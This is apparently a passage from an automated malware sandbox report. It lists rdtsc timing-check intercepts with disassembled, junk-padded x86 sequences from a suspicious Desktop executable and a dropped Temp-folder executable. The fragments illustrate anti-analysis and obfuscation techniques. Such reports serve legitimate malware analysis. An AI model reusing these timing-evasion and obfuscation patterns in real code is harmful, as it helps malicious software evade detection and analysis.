Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90715 second address: 4A90719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90719 second address: 4A9071D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9071D second address: 4A9077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6E34BB4F8Ah 0x00000010 and eax, 127CB7D8h 0x00000016 jmp 00007F6E34BB4F8Bh 0x0000001b popfd 0x0000001c mov ecx, 681E8E8Fh 0x00000021 popad 0x00000022 mov dword ptr [esp], esi 0x00000025 jmp 00007F6E34BB4F92h 0x0000002a lea eax, dword ptr [ebp-04h] 0x0000002d pushad 0x0000002e movzx eax, bx 0x00000031 mov ax, bx 0x00000034 popad 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F6E34BB4F91h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9077E second address: 4A9078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3509047Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90819 second address: 4A9081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9081D second address: 4A90823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90823 second address: 4A90834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E34BB4F8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90880 second address: 4A90886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90886 second address: 4A9088A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9088A second address: 4A908AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6E3509047Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A908AD second address: 4A80008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6E34BB4F8Ch 0x00000011 sub eax, 168D0EC8h 0x00000017 jmp 00007F6E34BB4F8Bh 0x0000001c popfd 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 retn 0004h 0x00000024 nop 0x00000025 cmp eax, 00000000h 0x00000028 setne al 0x0000002b jmp 00007F6E34BB4F82h 0x0000002d xor ebx, ebx 0x0000002f test al, 01h 0x00000031 jne 00007F6E34BB4F87h 0x00000033 sub esp, 04h 0x00000036 mov dword ptr [esp], 0000000Dh 0x0000003d call 00007F6E394D257Bh 0x00000042 mov edi, edi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80008 second address: 4A8000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8000C second address: 4A80012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80012 second address: 4A8003F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 5611E741h 0x00000008 mov edx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F6E35090488h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8003F second address: 4A80043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80043 second address: 4A80049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80049 second address: 4A800DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6E34BB4F96h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F6E34BB4F90h 0x00000016 sub esp, 2Ch 0x00000019 jmp 00007F6E34BB4F90h 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 mov dl, al 0x00000022 jmp 00007F6E34BB4F93h 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c pushfd 0x0000002d jmp 00007F6E34BB4F95h 0x00000032 xor al, FFFFFFC6h 0x00000035 jmp 00007F6E34BB4F91h 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A800DF second address: 4A800FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E35090482h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A800FB second address: 4A8010A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8010A second address: 4A80110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80177 second address: 4A8017B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8017B second address: 4A8017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8017F second address: 4A80185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80185 second address: 4A80237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090485h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c jmp 00007F6E3509047Dh 0x00000011 push esi 0x00000012 pushfd 0x00000013 jmp 00007F6E35090487h 0x00000018 add ecx, 0FDAF28Eh 0x0000001e jmp 00007F6E35090489h 0x00000023 popfd 0x00000024 pop eax 0x00000025 popad 0x00000026 inc ebx 0x00000027 jmp 00007F6E35090487h 0x0000002c test al, al 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F6E3509047Bh 0x00000037 and ax, DD4Eh 0x0000003c jmp 00007F6E35090489h 0x00000041 popfd 0x00000042 mov ecx, 78F04D57h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80237 second address: 4A8023D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8023D second address: 4A80241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80241 second address: 4A8025F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6E34BB50CFh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6E34BB4F8Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80349 second address: 4A8034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8034D second address: 4A80351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80351 second address: 4A80357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80357 second address: 4A8035D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8035D second address: 4A80361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80361 second address: 4A80382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b pushad 0x0000000c mov eax, 280CA05Fh 0x00000011 mov si, E37Bh 0x00000015 popad 0x00000016 jne 00007F6EA71C30AAh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80382 second address: 4A80389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, D6h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80389 second address: 4A80441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007F6E34BB4F96h 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 pushad 0x00000015 mov eax, 6EC78B7Dh 0x0000001a call 00007F6E34BB4F8Ah 0x0000001f pop edx 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007F6E34BB4F8Ch 0x00000027 push eax 0x00000028 jmp 00007F6E34BB4F8Bh 0x0000002d xchg eax, esi 0x0000002e jmp 00007F6E34BB4F96h 0x00000033 nop 0x00000034 jmp 00007F6E34BB4F90h 0x00000039 push eax 0x0000003a jmp 00007F6E34BB4F8Bh 0x0000003f nop 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F6E34BB4F8Bh 0x00000049 xor al, FFFFFFDEh 0x0000004c jmp 00007F6E34BB4F99h 0x00000051 popfd 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80441 second address: 4A80497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F6E3509047Eh 0x00000011 push eax 0x00000012 jmp 00007F6E3509047Bh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F6E3509047Bh 0x00000021 xor ax, 334Eh 0x00000026 jmp 00007F6E35090489h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80497 second address: 4A804AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E34BB4F93h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A804AE second address: 4A804B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A804F2 second address: 4A80507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E34BB4F91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80507 second address: 4A8050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8050B second address: 4A70EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F6E34BB4F8Dh 0x0000000f je 00007F6EA71C30B9h 0x00000015 xor eax, eax 0x00000017 jmp 00007F6E34B8E6BAh 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 xor ebx, ebx 0x00000026 cmp eax, 00000000h 0x00000029 je 00007F6E34BB50E3h 0x0000002f call 00007F6E394C32CCh 0x00000034 mov edi, edi 0x00000036 pushad 0x00000037 movsx edi, si 0x0000003a mov eax, 1D20F637h 0x0000003f popad 0x00000040 xchg eax, ebp 0x00000041 pushad 0x00000042 mov eax, 4B52752Fh 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a mov bl, BEh 0x0000004c movzx esi, bx 0x0000004f popad 0x00000050 xchg eax, ebp 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70EE1 second address: 4A70EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A70EE5 second address: 4A70FA6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6E34BB4F8Dh 0x00000008 adc esi, 343D5346h 0x0000000e jmp 00007F6E34BB4F91h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebx, ecx 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007F6E34BB4F8Ah 0x00000020 xchg eax, ecx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F6E34BB4F8Eh 0x00000028 add eax, 3C090318h 0x0000002e jmp 00007F6E34BB4F8Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F6E34BB4F98h 0x0000003a xor cx, ED78h 0x0000003f jmp 00007F6E34BB4F8Bh 0x00000044 popfd 0x00000045 popad 0x00000046 push eax 0x00000047 jmp 00007F6E34BB4F99h 0x0000004c xchg eax, ecx 0x0000004d jmp 00007F6E34BB4F8Eh 0x00000052 mov dword ptr [ebp-04h], 55534552h 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov cl, bl 0x0000005e mov cx, A195h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A8095D second address: 4A809B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 55BAh 0x00000007 pushfd 0x00000008 jmp 00007F6E3509047Bh 0x0000000d adc ax, 0D5Eh 0x00000012 jmp 00007F6E35090489h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b cmp dword ptr [770E459Ch], 05h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007F6E35090483h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A809B1 second address: 4A809B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A809B6 second address: 4A809CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E35090482h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A809CC second address: 4A809D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A809D0 second address: 4A809EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6EA768E49Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6E3509047Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A809EA second address: 4A80A11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6E34BB4F95h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80A78 second address: 4A80A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 34E4h 0x00000007 push edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 50EE9666h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6E3509047Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80A96 second address: 4A80A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80A9C second address: 4A80AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 27E30A4Eh 0x00000012 jmp 00007F6E35090486h 0x00000017 call 00007F6EA769551Eh 0x0000001c push 77082B70h 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov eax, dword ptr [esp+10h] 0x0000002c mov dword ptr [esp+10h], ebp 0x00000030 lea ebp, dword ptr [esp+10h] 0x00000034 sub esp, eax 0x00000036 push ebx 0x00000037 push esi 0x00000038 push edi 0x00000039 mov eax, dword ptr [770E4538h] 0x0000003e xor dword ptr [ebp-04h], eax 0x00000041 xor eax, ebp 0x00000043 push eax 0x00000044 mov dword ptr [ebp-18h], esp 0x00000047 push dword ptr [ebp-08h] 0x0000004a mov eax, dword ptr [ebp-04h] 0x0000004d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000054 mov dword ptr [ebp-08h], eax 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a mov dword ptr fs:[00000000h], eax 0x00000060 ret 0x00000061 pushad 0x00000062 mov edx, eax 0x00000064 mov esi, 086AEF09h 0x00000069 popad 0x0000006a sub esi, esi 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F6E35090480h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80AEC second address: 4A80B12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-1Ch], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6E34BB4F8Bh 0x00000014 mov ecx, 7C8C97FFh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80B12 second address: 4A80B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80B18 second address: 4A80B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80B55 second address: 4A80B7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090481h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6EA7684291h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6E3509047Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80B7F second address: 4A80B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A80B85 second address: 4A80B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9092E second address: 4A9098C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F6E34BB4F8Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop edx 0x00000015 pushfd 0x00000016 jmp 00007F6E34BB4F98h 0x0000001b sbb esi, 4D587AA8h 0x00000021 jmp 00007F6E34BB4F8Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A9098C second address: 4A909A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6E3509047Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A909A5 second address: 4A909AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A909AB second address: 4A909AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A909AF second address: 4A90A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F6E34BB4F99h 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 mov si, 6803h 0x00000017 pushad 0x00000018 jmp 00007F6E34BB4F96h 0x0000001d jmp 00007F6E34BB4F92h 0x00000022 popad 0x00000023 popad 0x00000024 je 00007F6EA71A2938h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90A11 second address: 4A90A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90A15 second address: 4A90A32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90A32 second address: 4A90A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090481h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [770E459Ch], 05h 0x00000010 pushad 0x00000011 mov di, cx 0x00000014 mov cx, 9EFFh 0x00000018 popad 0x00000019 je 00007F6EA7695EB6h 0x0000001f jmp 00007F6E35090482h 0x00000024 xchg eax, esi 0x00000025 jmp 00007F6E35090480h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F6E3509047Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90A91 second address: 4A90A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90B60 second address: 4A90B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90B64 second address: 4A90B77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90BA9 second address: 4A90BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, C9h 0x00000005 jmp 00007F6E35090488h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 4A90BD0 second address: 4A90BD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9960A4 second address: 9960A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
